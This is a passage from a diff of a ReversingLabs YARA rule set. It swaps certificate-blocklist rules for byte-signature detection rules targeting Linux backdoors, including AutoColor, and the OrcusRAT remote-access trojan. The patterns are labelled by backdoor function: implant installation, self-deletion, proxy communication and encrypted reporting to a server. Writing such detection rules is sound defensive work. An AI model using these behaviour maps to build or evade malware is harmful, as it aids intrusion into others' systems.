89 E7 83 FB ?? F3 AB 7E ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? + ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 8D 08 31 C9 BA + ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? BE ?? ?? ?? ?? 4C 89 + E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 05 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 DA BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 89 + C2 8A 06 89 F5 44 29 E5 3C ?? 75 ?? 80 7E ?? ?? 75 ?? 48 83 C6 ?? EB ?? 3C ?? 75 ?? + 80 7E ?? ?? 75 ?? 41 B8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 4C 89 C7 4C 8B 05 ?? ?? ?? + ?? F3 AB 8B 7E ?? 66 8B 4E ?? 4C 89 06 C6 06 ?? 45 31 C0 C6 46 ?? ?? BE + } + $start_server_p2 = { + 66 C7 05 ?? ?? 23 00 ?? ?? 89 3D ?? ?? ?? ?? 66 89 0D ?? ?? 23 00 89 3D ?? ?? ?? ?? + 66 89 0D ?? ?? 23 00 48 89 F7 B9 ?? ?? ?? ?? 4C 89 E6 F3 AB E9 ?? ?? ?? ?? 85 ED 75 + ?? 48 63 DD BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 01 E3 48 89 DF E8 ?? ?? ?? ?? 85 C0 75 + ?? 48 8D 7B ?? E8 ?? ?? ?? ?? 6B C0 ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 EF 99 F7 + F9 31 C0 E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 48 8D 54 24 ?? 48 98 85 C0 78 ?? 49 8B 0C 04 + 48 83 C2 ?? 48 83 E8 ?? 48 89 4A ?? C6 42 ?? ?? C6 42 ?? ?? EB ?? BA ?? ?? ?? ?? BE + ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? 89 E9 4C 89 F6 + 89 2D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ?? + 48 89 C7 F3 A4 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2 + AE 48 89 C8 48 F7 D0 48 8D 50 ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 + DF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 44 + 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 4C 24 ?? 44 89 4C 24 ?? E8 ?? ?? ?? ?? 48 83 + EC ?? 41 89 C0 BA ?? ?? ?? ?? 8B 4C 24 ?? 4C 89 EF BE ?? ?? ?? ?? 31 C0 51 8B 0D ?? + ?? ?? ?? 41 57 53 44 8B 4C 24 ?? E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2 AE 48 + 83 C4 ?? 48 89 C8 48 F7 D0 48 8D 50 ?? 41 89 E8 4C 89 F1 4C 89 EE 8B 3D ?? ?? ?? ?? + E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 + } + $start_server_p3 = { + 85 C0 75 ?? 31 FF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? + ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? + ?? ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 89 C7 E8 ?? ?? ?? ?? 45 85 FF 0F + 85 ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 41 89 C4 75 ?? 8B + 7C 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 4B ?? 45 31 C0 BA ?? ?? ?? + ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? E8 + ?? ?? ?? ?? 8B 7C 24 ?? 48 8D B4 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 89 C3 7E ?? 4C 8D AC 24 ?? ?? ?? ?? 8D 04 2B 3D ?? ?? ?? ?? 7E ?? 8B 3D ?? ?? ?? ?? + BA ?? ?? ?? ?? 48 8D 4C 24 ?? 4C 89 EE 29 EA 41 89 E8 49 81 C5 ?? ?? ?? ?? 81 EB ?? + ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 48 8D 4C 24 ?? 41 89 E8 89 DA 4C 89 + EE E8 ?? ?? ?? ?? EB ?? 31 F6 BA ?? ?? ?? ?? 44 89 E7 E8 ?? ?? ?? ?? 85 C0 0F 85 + } + $send_encrypt = { + E8 ?? ?? ?? ?? 41 8D 7E ?? 49 89 C5 48 63 FF E8 ?? ?? ?? ?? 48 63 54 24 ?? 48 89 C7 + 4C 89 FE 48 8D 0C 13 C6 04 08 ?? 89 D1 48 01 C2 F3 A4 48 89 D7 48 89 EE 48 89 D9 44 + 89 F2 F3 A4 48 89 C6 EB ?? 8D 7B ?? 48 63 FF E8 ?? ?? ?? ?? 89 DA 49 89 C5 48 89 EE + 4C 89 EF E8 ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 4C 89 EE 44 89 E7 48 63 D0 41 B8 ?? ?? + ?? ?? 31 C9 E8 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $notify_server = { + 48 81 EC ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 48 89 E0 85 D2 7E ?? BE ?? ?? ?? ?? 89 D1 48 + 89 E7 F3 A4 48 63 D2 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 4C 8D 04 10 41 B9 ?? ?? ?? ?? 48 + 83 C2 ?? 4C 89 C7 41 B8 ?? ?? ?? ?? F3 A4 8B 3D ?? ?? ?? ?? 48 89 C6 E8 ?? ?? ?? ?? + 8B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MAK GmbH" and pe.signatures [ i ] . serial == "79:01:77:a5:42:09:d5:55:60:a5:5d:b9:7c:59:00:d6" and 1594080000 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( $switch_server ) and ( $get_hostname ) and ( all of ( $start_server_p* ) ) and ( $send_encrypt ) and ( $notify_server ) } - -rule REVERSINGLABS_Cert_Blocklist_048F7B5F67D8E2B3030F75Eb7Be2713D : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Autocolor : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AutoColor backdoor." author = "ReversingLabs" - id = "e746516a-c51f-5cb8-8157-a5fe1f2c7abe" - date = "2020-08-05" - modified = "2023-11-08" + id = "c6fea724-bd3d-56a0-a8c1-2e4d2e549766" + date = "2025-04-11" + modified = "2025-04-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4798-L4814" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.AutoColor.yara#L1-L177" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6d1b47f3c9d7b90a5470f83a848adeebff2cf9341a1eb41ca8b45d08b469b17f" + logic_hash = "068d4d6916437197d4b3ac9c05803a35e15c00b0e70cb61ad6361981dc7cfee3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "AutoColor" + tc_detection_factor = 5 importance = 25 + strings: + $install_library_implant_p1 = { + F3 0F 1E FA 55 48 89 E5 41 54 53 48 81 EC ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 + 89 45 ?? 31 C0 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 + 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 + ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 + 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 + ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? + 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? + ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 45 ?? 48 89 D6 + 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 + 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? + ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? + ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 + } + $install_library_implant_p2 = { + E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? EB ?? 8B 45 ?? + 4C 63 E0 48 8B 5D ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 4C 89 E2 48 + 89 DE 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? + ?? ?? ?? EB ?? BB ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 + C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? + ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 D8 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? + ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F + 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? + ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F + 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D + 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 + C4 ?? ?? ?? ?? 5B 41 5C 5D C3 + } + $self_delete = { + F3 0F 1E FA 55 48 89 E5 53 48 83 EC ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 + 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 + 7D ?? ?? 74 ?? 8B 5D ?? EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 5D ?? EB ?? BB ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 + E8 ?? ?? ?? ?? 89 D8 48 8B 55 ?? 64 48 33 14 25 ?? ?? ?? ?? 74 ?? EB ?? F3 0F 1E FA + 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 83 C4 ?? 5B 5D C3 + } + $execute_local_file_p1 = { + F3 0F 1E FA 55 48 89 E5 41 55 41 54 53 48 81 EC ?? ?? ?? ?? 48 83 0C 24 ?? 48 81 EC + ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 48 89 8D ?? ?? + ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 + ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? + 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8D 9D ?? ?? ?? ?? 41 BC ?? ?? + ?? ?? 49 89 DD 4D 85 E4 78 ?? 4C 89 EF E8 ?? ?? ?? ?? 49 83 C5 ?? 49 83 EC ?? EB ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 39 85 ?? ?? ?? ?? 7D ?? + 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 C1 E2 ?? 48 01 C2 48 8B 85 ?? ?? + ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? EB ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 + 48 8D 85 ?? ?? ?? ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? E8 ?? ?? + ?? ?? 8B 00 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 74 + ?? 8B 85 ?? ?? ?? ?? 83 C8 ?? 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 + DE 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? E8 ?? ?? ?? ?? 8B 00 89 85 ?? ?? ?? + ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 88 ?? ?? + ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 + } + $execute_local_file_p2 = { + C7 E8 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7D ?? 8B 85 ?? ?? ?? ?? 89 + C7 E8 ?? ?? ?? ?? 85 C0 83 85 ?? ?? ?? ?? ?? EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E8 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 78 ?? + 48 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 01 D0 0F B6 00 3C ?? 75 ?? 48 8B 85 + ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 83 C2 ?? 48 01 C2 48 8D 85 ?? ?? ?? ?? 48 + 89 D6 48 89 C7 E8 ?? ?? ?? ?? EB ?? 83 85 ?? ?? ?? ?? ?? EB ?? 48 8B 85 ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 39 + 85 ?? ?? ?? ?? 7D ?? 8B 85 ?? ?? ?? ?? 8D 48 ?? 8B 85 ?? ?? ?? ?? 48 98 48 C1 E0 ?? + 48 8D 75 ?? 48 01 F0 48 2D ?? ?? ?? ?? 48 8B 10 48 63 C1 48 89 94 C5 ?? ?? ?? ?? 83 + } + $execute_local_file_p3 = { + 85 ?? ?? ?? ?? ?? EB ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 83 C0 ?? 48 98 48 C7 84 C5 ?? + ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 85 + ?? ?? ?? ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 + ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8B 85 + ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 41 89 C4 90 48 + 8D 9D ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 39 C3 74 ?? 48 83 EB + ?? 48 89 DF E8 ?? ?? ?? ?? EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 44 89 + E0 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? F3 0F 1E + FA 49 89 C5 48 85 DB 74 ?? B8 ?? ?? ?? ?? 4C 29 E0 48 C1 E0 ?? 4C 8D 24 03 49 39 DC + 74 ?? 49 83 EC ?? 4C 89 E7 E8 ?? ?? ?? ?? EB ?? 4C 89 EB EB ?? F3 0F 1E FA 48 89 C3 + 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 49 89 DC EB ?? F3 0F 1E FA 49 89 C4 48 + 8D 9D ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 39 C3 74 ?? 48 83 EB + ?? 48 89 DF E8 ?? ?? ?? ?? EB ?? 4C 89 E3 EB ?? F3 0F 1E FA 48 89 C3 48 8D 85 ?? ?? + ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 + C4 ?? ?? ?? ?? 5B 41 5C 41 5D 5D C3 + } + $network_proxy_communication_p1 = { + F3 0F 1E FA 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 83 0C 24 ?? 48 81 EC ?? ?? ?? ?? 48 + 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 + B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 D7 FC F3 48 AB 89 F8 89 CA + 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 8D 50 ?? 85 C0 0F 48 + C2 C1 F8 ?? 89 C6 48 63 C6 48 8B BC C5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 99 C1 + EA ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 C1 48 D3 E2 48 89 D0 48 09 C7 48 89 FA + 48 63 C6 48 89 94 C5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 8D 50 ?? 85 C0 0F 48 C2 + C1 F8 ?? 89 C6 48 63 C6 48 8B BC C5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 99 C1 EA + ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 C1 48 D3 E2 48 89 D0 48 09 C7 48 89 FA 48 + 63 C6 48 89 94 C5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 39 85 ?? ?? ?? + ?? 7D ?? 48 8B 85 ?? ?? ?? ?? 8B 00 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 39 + 85 ?? ?? ?? ?? 7D ?? 48 8B 85 ?? ?? ?? ?? 8B 00 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8D 78 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 B9 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 89 C6 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? + 8B 00 8D 50 ?? 85 C0 0F 48 C2 C1 F8 ?? 48 98 48 8B B4 C5 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 8B 00 99 C1 EA ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 C1 48 D3 E2 48 89 D0 + } + $network_proxy_communication_p2 = { + 48 21 F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 48 8B + 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D1 BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 48 8B 85 ?? ?? ?? ?? 8B 00 8D 50 ?? 85 C0 0F 48 C2 C1 F8 ?? 48 98 48 8B B4 C5 ?? ?? + ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 99 C1 EA ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 + C1 48 D3 E2 48 89 D0 48 21 F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D + B5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D1 BA ?? ?? ?? ?? 48 89 + C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? EB + ?? 8B 95 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 + C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? EB ?? 90 E9 ?? ?? ?? ?? 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 74 ?? EB ?? + F3 0F 1E FA 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RITEIL SERVIS, OOO" and pe.signatures [ i ] . serial == "04:8f:7b:5f:67:d8:e2:b3:03:0f:75:eb:7b:e2:71:3d" and 1591142400 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( all of ( $install_library_implant_p* ) ) and ( $self_delete ) and ( all of ( $execute_local_file_p* ) ) and ( all of ( $network_proxy_communication_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_082023879112289Bf351D297Cc8Efcfc : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Orcusrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects OrcusRAT backdoor." author = "ReversingLabs" - id = "94a4e3d6-2d0a-5e5d-9ae8-574ef9be017e" - date = "2020-08-05" - modified = "2023-11-08" + id = "d4700cd1-73a4-552d-bc27-7408508a28e7" + date = "2024-09-10" + modified = "2024-09-10" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4816-L4832" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.OrcusRAT.yara#L1-L134" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58bec160445765ce45a26bf9d96ba6cfe61eee31e0953009d40a7ec64920c677" + logic_hash = "17a85613e9e4c862ce81fee49065c250381dbf8a50cf07d496f5fd2c1b82d92e" 